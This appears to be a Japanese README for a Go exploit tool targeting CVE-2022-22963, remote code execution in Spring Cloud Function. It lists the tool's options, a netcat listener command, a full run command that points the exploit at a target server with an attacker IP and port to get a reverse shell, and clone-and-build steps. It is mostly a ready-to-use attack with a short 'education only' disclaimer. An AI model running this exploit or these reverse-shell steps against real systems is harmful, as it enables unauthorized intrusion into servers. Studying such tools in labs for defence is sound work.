
CVE-2022-22963 用のバイナリ
CVE-2022-22963を悪用してSpring Cloudサービスを攻撃するリモートコード実行です。
免責事項:これは教育目的のみです。作者は本プログラムの使用について一切責任を負いません。自己責任で使用してください。
./CVE-2022-22963 -h
Usage:
CVE-2022-22963 [OPTIONS]
Application Options:
-u, --target-url= Target/Host url where 'Spring Cloud' is running. Example: -t http://somesite.htb
-p, --target-port= Port running the service. Example: -p 8080
-i, --attacker-ip= Attacker IPv4 Address. Example: -i 10.10.10.10
-l, --listening-port= Listening port to connect. Example: -l 1337
Help Options:
-h, --help Show this help message
脆弱性の可能性があるターゲットが http://somerandomserver.com:8080 で実行されていると仮定します。nc をポート 1337 で待ち受けさせ、nc -lvnp 1337 を実行します。次に、スクリプト/エクスプロイトを実行します:
./CVE-2022-22963 -u http://somerandomserver.com -p 8080 -i 10.10.10.10 -l 1337
マシンに go がインストールされている場合は、次のように実行します:
git clone https://github.com/GunZF0x/CVE-2022-22963.git
cd CVE-2022-22963
go run main.go -h #run without compiling any file
go build -o exploit main.go #build the file